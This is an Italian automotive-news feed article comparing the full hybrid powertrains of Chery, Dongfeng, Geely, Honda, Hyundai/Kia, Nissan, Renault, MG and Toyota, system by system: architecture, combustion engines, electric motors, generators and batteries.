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	<title>Tecnica Auto &#8211; Giornalemotori</title>
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	<description>Tutte le news su F1, MotoGP, SBK, WEC e altro ancora</description>
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		<title>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 29 Jul 2026 14:10:18 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il mondo dell’auto si muove inesorabilmente verso l’elettrificazione. In questo scenario, il vero ponte tecnologico tra la propulsione tradizionale endotermica e la trazione puramente elettrica è rappresentato dall’ibridazione. Un sistema propulsivo di tipo ibrido, in cui la componente termica e quella elettrica collaborano attraverso una raffinata gestione elettronica, costituisce la soluzione ideale per un passaggio [&#8230;]</p>
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<p class="wp-block-paragraph">Il mondo dell’auto si muove inesorabilmente verso l’elettrificazione. In questo scenario, il vero ponte tecnologico tra la propulsione tradizionale endotermica e la trazione puramente elettrica è rappresentato dall’ibridazione. Un sistema propulsivo di tipo ibrido, in cui la componente termica e quella elettrica collaborano attraverso una raffinata gestione elettronica, costituisce la soluzione ideale per un passaggio graduale alla mobilità del futuro. In questa panoramica vogliamo mettere a confronto tecnico i principali competitor sul piano della tecnologia Full Hybrid (HEV), analizzando le soluzioni ingegneristiche giapponesi, coreane ed europee, senza trascurare le proposte agguerrite e arrembanti dei costruttori cinesi.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="683" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/6d26a4a3fcac4fc095bc6bac16f624e9tplv-tnf8g33v4j-watermark-v2_MzAwMjE4NDE1ODc2-1024x683.png" alt="6d26a4a3fcac4fc095bc6bac16f624e9tplv tnf8g33v4j watermark v2 MzAwMjE4NDE1ODc2" class="wp-image-176232" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 1" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/6d26a4a3fcac4fc095bc6bac16f624e9tplv-tnf8g33v4j-watermark-v2_MzAwMjE4NDE1ODc2-1024x683.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/07/6d26a4a3fcac4fc095bc6bac16f624e9tplv-tnf8g33v4j-watermark-v2_MzAwMjE4NDE1ODc2-768x512.png 768w, https://www.giornalemotori.com/wp-content/uploads/2026/07/6d26a4a3fcac4fc095bc6bac16f624e9tplv-tnf8g33v4j-watermark-v2_MzAwMjE4NDE1ODc2-300x200.png 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/6d26a4a3fcac4fc095bc6bac16f624e9tplv-tnf8g33v4j-watermark-v2_MzAwMjE4NDE1ODc2-696x464.png 696w, https://www.giornalemotori.com/wp-content/uploads/2026/07/6d26a4a3fcac4fc095bc6bac16f624e9tplv-tnf8g33v4j-watermark-v2_MzAwMjE4NDE1ODc2.png 1536w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 14</figcaption></figure>



<h3 class="wp-block-heading">Le architetture dei competitor: Oriente e Occidente a confronto</h3>



<p class="wp-block-paragraph">La nostra analisi tecnica parte dal colosso cinese <strong>Chery</strong> (che motorizza i brand Omoda e Jaecoo) con il sistema <strong>SHS-H (Super Hybrid System)</strong>, basato su una trasmissione DHT a 3 rapporti accoppiata a un 1.5 turbo-benzina. È uno schema serie-parallelo a prevalenza elettrica, in cui due motori elettrici integrati nel cambio lavorano a stretto contatto con il termico per abbassare i giri di quest&#8217;ultimo a velocità medio-basse, a fronte di una maggiore complessità di calibrazione.</p>



<p class="wp-block-paragraph">Il sistema <strong>Dongfeng Mach DH-i</strong> è tra i più complessi sul mercato, fondendo il Power Split (stile Toyota) con un cambio DHT a 4 rapporti per ottimizzare l&#8217;efficienza meccanica diretta dell&#8217;endotermico a qualsiasi velocità, soprattutto nei transitori autostradali. Si tratta di un sistema che si pone il compito di funzionare tanto in seriale, quando in parallelo, e alternando il modo misto a seconda della ncessità dando la prevalenza alla trazione elettrica o allungare con l&#8217;endotermico. Ma come tutte le cose troppo complesse, come vedremo ha i suoi limiti di funzionamento. </p>



<p class="wp-block-paragraph">La <strong>Geely</strong>, con le tecnologie <strong>NordThor Hi-F / Leishen DHT Pro</strong>, adotta un sistema misto serie-parallelo con trasmissione planetaria DHT a 3 marce. La sua gestione permette di innestare la trazione termica diretta già intorno ai 20 km/h nel tentativo di garantire al motore endotermico di funzionare più spesso ma nel punto di massima efficienza.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/662cdbe83ea84c4fbafa71b7328b6a20tplv-tnf8g33v4j-watermark-v2_MzI4OTU4ODg1Mzgw-1024x683.png" alt="662cdbe83ea84c4fbafa71b7328b6a20tplv tnf8g33v4j watermark v2 MzI4OTU4ODg1Mzgw" class="wp-image-176233" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 2" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/662cdbe83ea84c4fbafa71b7328b6a20tplv-tnf8g33v4j-watermark-v2_MzI4OTU4ODg1Mzgw-1024x683.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/07/662cdbe83ea84c4fbafa71b7328b6a20tplv-tnf8g33v4j-watermark-v2_MzI4OTU4ODg1Mzgw-768x512.png 768w, https://www.giornalemotori.com/wp-content/uploads/2026/07/662cdbe83ea84c4fbafa71b7328b6a20tplv-tnf8g33v4j-watermark-v2_MzI4OTU4ODg1Mzgw-300x200.png 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/662cdbe83ea84c4fbafa71b7328b6a20tplv-tnf8g33v4j-watermark-v2_MzI4OTU4ODg1Mzgw-696x464.png 696w, https://www.giornalemotori.com/wp-content/uploads/2026/07/662cdbe83ea84c4fbafa71b7328b6a20tplv-tnf8g33v4j-watermark-v2_MzI4OTU4ODg1Mzgw.png 1536w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 15</figcaption></figure>



<p class="wp-block-paragraph">Sul fronte giapponese, l&#8217;<strong>e:HEV</strong> di <strong>Honda</strong> si presenta come un ibrido in serie a prevalenza elettrica di raffinata ingegneria: la trazione è elettrica per l&#8217;80% delle situazioni urbane e interurbane, con il motore endotermico che si accende per fungere da generatore ma nel suo punto di maggiore efficienza. Ad alta velocità una frizione a bagno d&#8217;olio collega direttamente l&#8217;endotermico alle ruote tramite un rapporto fisso (overdrive) solo a velocità stabilizzate. </p>



<p class="wp-block-paragraph">I coreani di <strong>Hyundai e Kia</strong> scelgono invece il sistema <strong>Smartstream TMED</strong>, un ibrido parallelo puro di scuola europea, in cui un singolo motore elettrico sincrono è inserito in un cambio automatico tradizionale a 6 rapporti al posto del convertitore di coppia. Un sistema che non necessita di variare il proprio stile di guida rispetto al passato. </p>



<p class="wp-block-paragraph"><strong>Nissan</strong> propone l&#8217;<strong>e-Power</strong>, un ibrido in serie puro al 100%: le ruote sono collegate esclusivamente al motore elettrico di trazione tramite un riduttore a rapporto fisso, mentre il termico funge unicamente da generatore di corrente. In sostanza è una vettura elettrica con un generatore di energia, una derivazione più semplice dei sistemi extender.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/78eff65dad8b4d53bfc43fae8cc25084tplv-tnf8g33v4j-watermark-v2_MzI4NDUwMzIwNjQ0-1024x683.png" alt="78eff65dad8b4d53bfc43fae8cc25084tplv tnf8g33v4j watermark v2 MzI4NDUwMzIwNjQ0" class="wp-image-176234" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 3" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/78eff65dad8b4d53bfc43fae8cc25084tplv-tnf8g33v4j-watermark-v2_MzI4NDUwMzIwNjQ0-1024x683.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/07/78eff65dad8b4d53bfc43fae8cc25084tplv-tnf8g33v4j-watermark-v2_MzI4NDUwMzIwNjQ0-768x512.png 768w, https://www.giornalemotori.com/wp-content/uploads/2026/07/78eff65dad8b4d53bfc43fae8cc25084tplv-tnf8g33v4j-watermark-v2_MzI4NDUwMzIwNjQ0-300x200.png 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/78eff65dad8b4d53bfc43fae8cc25084tplv-tnf8g33v4j-watermark-v2_MzI4NDUwMzIwNjQ0-696x464.png 696w, https://www.giornalemotori.com/wp-content/uploads/2026/07/78eff65dad8b4d53bfc43fae8cc25084tplv-tnf8g33v4j-watermark-v2_MzI4NDUwMzIwNjQ0.png 1536w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 16</figcaption></figure>



<p class="wp-block-paragraph">A rappresentare l&#8217;Europa <strong>Renault</strong> con il sistema <strong>E-Tech</strong>, basato su un cambio automatico &#8220;Multi-mode&#8221; privo di frizione e sincronizzatori meccanici, in cui gli innesti (4 marce per il termico, 2 per l&#8217;elettrico) sono gestiti da un motorino elettrico secondario (HSG) ad innesti a denti dritti (<em>dog clutch</em>), offrendo fino a 15 combinazioni di funzionamento. Vederlo smontato, ci si accorge del potenziale dell&#8217;ingegno europeo, ma anche della miopia commerciale quando poi di deve fare i conti con i costi delle buone idee. </p>



<p class="wp-block-paragraph">A chiudere la panoramica è il sistema <strong>SAIC Hybrid Plus</strong> di <strong>MG</strong>, un misto serie-parallelo con cambio a 3 rapporti che sfrutta un potente motore elettrico principale per privilegiare la marcia cittadina, accoppiando il termico solo alle alte andature per evitare l&#8217;effetto slittamento. Un sistema che limita il potenziale dei colleghi cinesi per scelte che lo rendono il più economico ma anche difficile da gestire. </p>



<p class="wp-block-paragraph">Sullo sfondo rimane il pioniere indiscusso: il sistema <strong>HSD (Hybrid Synergy Drive) di Toyota</strong> giunto alla 5ª generazione, un collaudatissimo schema Power Split a rotismo epicicloidale (e-CVT) privo di frizioni e marce fisiche, oggi ulteriormente miniaturizzato e alleggerito. Toyota anno dopo anno, continua a reggere gli attacchi della concorrenza migliorando il suo sistema anche quando sembra che sia arrivato al suo limite. </p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="640" height="640" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/dongfeng-motore-mach-1-5t-hybrid-1.jpg" alt="dongfeng motore mach 1 5t hybrid 1" class="wp-image-176236" style="width:1031px;height:auto" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 4" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/dongfeng-motore-mach-1-5t-hybrid-1.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2026/07/dongfeng-motore-mach-1-5t-hybrid-1-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2026/07/dongfeng-motore-mach-1-5t-hybrid-1-300x300.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 17</figcaption></figure>



<h3 class="wp-block-heading">Sotto il cofano: L&#8217;analisi dei motori endotermici</h3>



<p class="wp-block-paragraph">Valutando il rendimento termico, la raffinatezza del ciclo di combustione (Atkinson/Miller) e l&#8217;ottimizzazione per il funzionamento ibrido, le unità migliori in assoluto risultano quelle di <strong>Dongfeng</strong> e <strong>Geely</strong>. I loro 1.5 Turbo dedicati raggiungono rendimenti termici certificati superiori al 45% (45.5% per Dongfeng) grazie a rapporti di compressione geometrici elevatissimi, iniezioni ad alta pressione e cicli Miller esasperati. </p>



<p class="wp-block-paragraph">Al secondo posto si colloca il propulsore <strong>Toyota Dynamic Force</strong> 1.5 litri tre cilindri, piuttosto ruvido nel suo funzionamento e gli eccellenti (1.8/2.0 litri). Entrambi ottengono un funzionamento a un ciclo Atkinson non in modo canonico ma attraverso la logica di apertura differenziata delle valvole garantendo un rendimento del 41%. Un motore granitico, privo di cinghia servizi e progettato per avviarsi senza vibrazioni. Della serie meno efficienza me indistruttibile. </p>



<p class="wp-block-paragraph">Il podio è completato dai motori <strong>Honda</strong> nella versione 1.5 litri aspirato ma soprattutto con l&#8217;eccellente 2.0 litri entrambi ad iniezione diretta, che sfruttano, come Toyota, l&#8217;evoluzione del sistema VTEC per l&#8217;alzata variabile delle valvole, lavorando quasi sempre come un gruppo elettrogeno a rendimento costante (oltre il 40%).</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="716" height="432" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/Nissan_Altima_VC_Turbo_engine___Photo_06.jpg" alt="Nissan Altima VC Turbo engine Photo 06" class="wp-image-176237" style="width:1012px;height:auto" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 5" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/Nissan_Altima_VC_Turbo_engine___Photo_06.jpg 716w, https://www.giornalemotori.com/wp-content/uploads/2026/07/Nissan_Altima_VC_Turbo_engine___Photo_06-300x181.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/Nissan_Altima_VC_Turbo_engine___Photo_06-696x420.jpg 696w" sizes="(max-width: 716px) 100vw, 716px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 18</figcaption></figure>



<p class="wp-block-paragraph">Un vero gioiello tecnologico, invece, è il 1.5 tre cilindri di <strong>Nissan</strong>, l&#8217;unico propulsore al mondo a rapporto di compressione variabile (VCR) in grado di funzionare con un vero ciclo Atkinson. La sua biella, infatti, cambiando la geometria è in grado di far oscillare il rapporto di compressione da un valore di 8.0 (per le massime prestazioni) a 13.5 (per la massima efficienza a carico parziale); la sua complessità costruttiva e l&#8217;utilizzo limitato alla sola generazione di corrente ne frenano tuttavia il potenziale dinamico. In ogni caso, la particolare soluzione adottata per il manovelismo azzera quasi completamente le vibrazioni e la ruvidità di funzionamento tipica dei tre cilindri migliorando anche l&#8217;affidabilità complessiva.</p>



<p class="wp-block-paragraph">I propulsori di <strong>Chery</strong> e <strong>MG</strong> (rispettivamente 1.5 turbo per Chery e aspirato per MG) offrono rendimenti solo discreti, legati alle trasmissioni multi-marcia per rendere al meglio, ma con una logica di utilizzo della trasmissione che non aiuta molto allo scopo. Il nuovo 1.8 aspirato di <strong>Renault</strong> è un&#8217;unità collaudata e robusta, mentre per le versioni più potenti del sistema e-Tech c&#8217;è un tre cilindri Turbo 1.2 litri che è all&#8217;antitesi rispetto per esempio al tre cilindri di Nissan ed anche rispetto ad un propulsore tradizionale come il tre cilindri Toyota. In sostanza in Renault usano propulsori di concezione tradizionale e con un rendimento inferiore ai concorrenti asiatici vanificando la bontà del progetto e-Tech.</p>



<p class="wp-block-paragraph">Chiude la coppia <strong>Hyundai/Kia</strong>, che, come in Renault, utilizza un motore tradizionale sia per il 1.6 litri aspirato riservato alle vetture medio piccole che il 1.6 Turbo riservato alle medio-grandi. In entrambi i casi viene sviluppato al suo massimo potenziale la la tecnologia CVVD (variazione continua della durata delle valvole). Questa scelta consente di ottenere un&#8217;architettura flessibile prestata anche alle vetture puramente termiche, mostrando così qualche limite di specializzazione rispetto ai rivali giapponesi e ai nuovi turbo cinesi.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/80a5fe24cc1448749d99b696578085b0tplv-tnf8g33v4j-ai-watermark-resize_2730_1536-1024x576.png" alt="80a5fe24cc1448749d99b696578085b0tplv tnf8g33v4j ai watermark resize 2730 1536" class="wp-image-176238" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 6" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/80a5fe24cc1448749d99b696578085b0tplv-tnf8g33v4j-ai-watermark-resize_2730_1536-1024x576.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/07/80a5fe24cc1448749d99b696578085b0tplv-tnf8g33v4j-ai-watermark-resize_2730_1536-768x432.png 768w, https://www.giornalemotori.com/wp-content/uploads/2026/07/80a5fe24cc1448749d99b696578085b0tplv-tnf8g33v4j-ai-watermark-resize_2730_1536-1536x864.png 1536w, https://www.giornalemotori.com/wp-content/uploads/2026/07/80a5fe24cc1448749d99b696578085b0tplv-tnf8g33v4j-ai-watermark-resize_2730_1536-2048x1152.png 2048w, https://www.giornalemotori.com/wp-content/uploads/2026/07/80a5fe24cc1448749d99b696578085b0tplv-tnf8g33v4j-ai-watermark-resize_2730_1536-300x169.png 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/80a5fe24cc1448749d99b696578085b0tplv-tnf8g33v4j-ai-watermark-resize_2730_1536-696x392.png 696w, https://www.giornalemotori.com/wp-content/uploads/2026/07/80a5fe24cc1448749d99b696578085b0tplv-tnf8g33v4j-ai-watermark-resize_2730_1536-1920x1080.png 1920w, https://www.giornalemotori.com/wp-content/uploads/2026/07/80a5fe24cc1448749d99b696578085b0tplv-tnf8g33v4j-ai-watermark-resize_2730_1536-scaled.png 2000w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 19</figcaption></figure>



<h3 class="wp-block-heading"> I motori elettrici: Densità di potenza e spinta</h3>



<p class="wp-block-paragraph">Essendo di fatto una vettura elettrica con gruppo elettrogeno, il primato del motore elettrico di trazione spetta a <strong>Nissan</strong>: l&#8217;unità del sistema e-Force eroga ben 150 kW (204 CV) e oltre 330 Nm di coppia, garantendo la fluidità tipica di un&#8217;elettrica pura (BEV) senza avvertibili cali di spinta in allungo. </p>



<p class="wp-block-paragraph"><strong>Honda</strong> segue da vicino sviluppando in proprio unità sincrone a magneti permanenti estremamente compatte e reattive da 122cv per la jazz ai 130cv per la HR-V fino ai 184 CV e 315 Nm. Sebbene paghino una leggera flessione della coppia alle alte velocità, ma la loro compattezza e leggerezza ma soprattutto la ridotta inerzia delle componenti interne assicura una reattività maggiore rispetto allo stesso propulsore elettrico di Nissan.</p>



<p class="wp-block-paragraph"> Anche <strong>MG</strong> propone un unico motore elettrico generoso da 136 CV, ideale per dare brio alle vetture di segmento B ma meno incisivo al salire di peso e categoria. Il trio cinese <strong>Geely/Dongfeng/Chery</strong> si affida a unità elettriche integrate nelle trasmissioni DHT dall&#8217;elevata densità di potenza, la cui efficacia dinamica rimane tuttavia legata alla complessità dei flussi energetici di sistema. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/64883d5faaa04aa9b0b990d6ec08796dtplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1024x683.png" alt="64883d5faaa04aa9b0b990d6ec08796dtplv tnf8g33v4j ai watermark resize 2508 1672" class="wp-image-176239" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 7" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/64883d5faaa04aa9b0b990d6ec08796dtplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1024x683.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/07/64883d5faaa04aa9b0b990d6ec08796dtplv-tnf8g33v4j-ai-watermark-resize_2508_1672-768x512.png 768w, https://www.giornalemotori.com/wp-content/uploads/2026/07/64883d5faaa04aa9b0b990d6ec08796dtplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1536x1024.png 1536w, https://www.giornalemotori.com/wp-content/uploads/2026/07/64883d5faaa04aa9b0b990d6ec08796dtplv-tnf8g33v4j-ai-watermark-resize_2508_1672-2048x1365.png 2048w, https://www.giornalemotori.com/wp-content/uploads/2026/07/64883d5faaa04aa9b0b990d6ec08796dtplv-tnf8g33v4j-ai-watermark-resize_2508_1672-300x200.png 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/64883d5faaa04aa9b0b990d6ec08796dtplv-tnf8g33v4j-ai-watermark-resize_2508_1672-696x464.png 696w, https://www.giornalemotori.com/wp-content/uploads/2026/07/64883d5faaa04aa9b0b990d6ec08796dtplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1920x1280.png 1920w, https://www.giornalemotori.com/wp-content/uploads/2026/07/64883d5faaa04aa9b0b990d6ec08796dtplv-tnf8g33v4j-ai-watermark-resize_2508_1672-scaled.png 2000w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 20</figcaption></figure>



<p class="wp-block-paragraph"><strong>Toyota</strong>, pur avendo potenziato e alleggerito i propri motori MG2 nella 5ª generazione dell&#8217;HSD, mantiene la trazione elettrica vincolata alla logica del rotismo epicicloidale che limita l&#8217;efficienza del motore elettrico nello sfruttamento delle sue caratteristiche di coppia e potenza. In ogni caso in Toyota stanno progressivamente aumentando la potenza della macchina elettrica spostando il funzionamento del sistema verso un misto serie/parallelo.</p>



<p class="wp-block-paragraph">In coda troviamo prima <strong>Renault</strong>, il cui motore elettrico principale pur se piccolo per potenza erogata è al quanto reattivo. Purtroppo la sua spinta viene frammentata nonostante nella trasmissione ci siano due marce dedicate e la possibilità di usare altre combinazioni per funzionare in parallelo con il motore endotermico. Le logiche d&#8217;innesto del cambio Multi-mode ne penalizzano l&#8217;efficienza.</p>



<p class="wp-block-paragraph"> Il gruppo <strong>Hyundai/Kia</strong>, adotta un&#8217;unità singola da soli 65 e 69cv integrata nel cambio: una potenza limitata che riduce la possibilità di marcia in EV sotto carico e sconta la mancanza di efficienza per le dissipazioni meccaniche della trasmissione a 6 marce, mentre funzionerebbe meglio se vincolato ad un rapporto unico. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/9d9b824aa1a649bea427abbd7020ee8ctplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1024x683.png" alt="9d9b824aa1a649bea427abbd7020ee8ctplv tnf8g33v4j ai watermark resize 2508 1672" class="wp-image-176240" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 8" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/9d9b824aa1a649bea427abbd7020ee8ctplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1024x683.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/07/9d9b824aa1a649bea427abbd7020ee8ctplv-tnf8g33v4j-ai-watermark-resize_2508_1672-768x512.png 768w, https://www.giornalemotori.com/wp-content/uploads/2026/07/9d9b824aa1a649bea427abbd7020ee8ctplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1536x1024.png 1536w, https://www.giornalemotori.com/wp-content/uploads/2026/07/9d9b824aa1a649bea427abbd7020ee8ctplv-tnf8g33v4j-ai-watermark-resize_2508_1672-2048x1365.png 2048w, https://www.giornalemotori.com/wp-content/uploads/2026/07/9d9b824aa1a649bea427abbd7020ee8ctplv-tnf8g33v4j-ai-watermark-resize_2508_1672-300x200.png 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/9d9b824aa1a649bea427abbd7020ee8ctplv-tnf8g33v4j-ai-watermark-resize_2508_1672-696x464.png 696w, https://www.giornalemotori.com/wp-content/uploads/2026/07/9d9b824aa1a649bea427abbd7020ee8ctplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1920x1280.png 1920w, https://www.giornalemotori.com/wp-content/uploads/2026/07/9d9b824aa1a649bea427abbd7020ee8ctplv-tnf8g33v4j-ai-watermark-resize_2508_1672-scaled.png 2000w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 21</figcaption></figure>



<h3 class="wp-block-heading">I generatori: Convertire l&#8217;energia termica in corrente</h3>



<p class="wp-block-paragraph">Nella conversione dell&#8217;energia cinetica del motore termico in elettricità, è ancora la <strong>Nissan</strong> primeggiare grazie a un suo generatore ampiamente sovradimensionato, indispensabile per sostenere i massimi carichi di trazione del suo schema in serie. <strong>Honda</strong> si colloca subito dietro con un motogeneratore coassiale collegato direttamente sull&#8217;albero del motore elettrico di trazione ed al motore endotermico. Questa soluzione è capace di un&#8217;eccellente costanza di generazione pur con una potenza massima inferiore a quella di Nissan. </p>



<p class="wp-block-paragraph">Il sistema HSD di <strong>Toyota</strong> possiede un&#8217;ottima unità MG1 che, oltre a ricaricare la batteria, varia dinamicamente il rapporto virtuale dell&#8217;e-CVT. Il sistema d quinta generazione beneficia anche di un nuovo inverter aggiornato che riduce le perdite di conversione. Il trio cinese <strong>Dongfeng/Geely/Chery</strong> utilizza generatori integrati nelle trasmissioni DHT dall&#8217;efficienza discreta. Soprattuto sono condizionati da regimi di funzionamento non sempre ottimali a causa delle logiche del cambio multi-rapporto.</p>



<p class="wp-block-paragraph"><strong>MG</strong> risente, invece, nel generare l&#8217;energia necessaria, della minore potenza del suo motore termico aspirato durante i picchi di richiesta energetica. In casa <strong>Renault</strong>, la complessità meccanica delega la sincronizzazione del cambio e la generazione di energia a un piccolo motorino d&#8217;avviamento HSG, non riesce a eguagliare la costanza dei rivali, nemmeno del generatore Toyota che pure deve sovraintendere ad due funzioni. Fanalino di coda sono ancora una volta <strong>Hyundai/Kia</strong>. In effetti il sistema coreano è privo di un vero generatore ma sono dotati di un solo di un piccolo HSG azionato a cinghia per i transitori minimi, lasciando al motore di trazione principale il gravoso compito della ricarica.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" src="https://www.giornalemotori.com/wp-content/uploads//2026/07/4bda1c07b34141feb29379dd31a8179btplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1024x683.png" alt="4bda1c07b34141feb29379dd31a8179btplv tnf8g33v4j ai watermark resize 2508 1672" class="wp-image-176241" title="comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 9" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/07/4bda1c07b34141feb29379dd31a8179btplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1024x683.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/07/4bda1c07b34141feb29379dd31a8179btplv-tnf8g33v4j-ai-watermark-resize_2508_1672-768x512.png 768w, https://www.giornalemotori.com/wp-content/uploads/2026/07/4bda1c07b34141feb29379dd31a8179btplv-tnf8g33v4j-ai-watermark-resize_2508_1672-1536x1024.png 1536w, https://www.giornalemotori.com/wp-content/uploads/2026/07/4bda1c07b34141feb29379dd31a8179btplv-tnf8g33v4j-ai-watermark-resize_2508_1672-2048x1365.png 2048w, https://www.giornalemotori.com/wp-content/uploads/2026/07/4bda1c07b34141feb29379dd31a8179btplv-tnf8g33v4j-ai-watermark-resize_2508_1672-300x200.png 300w, https://www.giornalemotori.com/wp-content/uploads/2026/07/4bda1c07b34141feb29379dd31a8179btplv-tnf8g33v4j-ai-watermark-resize_2508_1672-696x464.png 696w, https://www.giornalemotori.com/wp-content/uploads/2026/07/4bda1c07b34141feb29379dd31a8179btplv-tnf8g33v4j-ai-watermark-resize_2508_1672-scaled.png 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>comparativa: La sfida delle tecnologie Full Hybrid (HEV) sotto la lente tecnica 22</figcaption></figure>



<h3 class="wp-block-heading">L&#8217;accumulo di energia: Capacità e gestione della batteria</h3>



<p class="wp-block-paragraph">La batteria più capiente del lotto è quella di <strong>Nissan</strong> con i suoi 1,97 kWh; tuttavia, per via della natura in serie del sistema, questo accumulatore lavora costantemente sotto stress come &#8220;polmone&#8221; di transito, sebbene l&#8217;ultima evoluzione e-Power ne abbia ridotto il surriscaldamento sulle lunghe salite. </p>



<p class="wp-block-paragraph"><strong>MG</strong> propone un&#8217;eccellente batteria da 1,83 kWh a 350V, che consente fasi di veleggiamento in EV estremamente prolungate. Anche il trio <strong>Chery/Geely/Dongfeng</strong> adotta accumulatori generosi tra 1,6 e 1,8 kWh derivati dalle rispettive divisioni PHEV/BEV, capaci di garantire elevatissimi tassi di scarica (C-rate). </p>



<p class="wp-block-paragraph"><strong>Hyundai/Kia</strong> si affidano a un&#8217;unità ai polimeri di litio da 1,49 kWh ben integrata sotto i sedili posteriori, agevolando lo spazio nel bagagliaio. <strong>Renault</strong> si difende bene con un elemento da 1,2 kWh a 230V molto rapido nei cicli di carica e scarica. I tecnici <strong>Honda</strong>, forti dell&#8217;efficienza dell&#8217;e:HEV, utilizzano, invece, un accumulatore compatto e leggero da soli 1,05 kWh a 72 celle, la cui eccellente gestione software compensa la ridotta autonomia in modalità EV puro. Chiude <strong>Toyota</strong> con un&#8217;unità da 1,0 kWh passata finalmente agli ioni di litio nella 5ª generazione, un componente leggerissimo e ad altissima frequenza di micro-cicli, ma coperto da garanzie ai vertici del mercato</p>



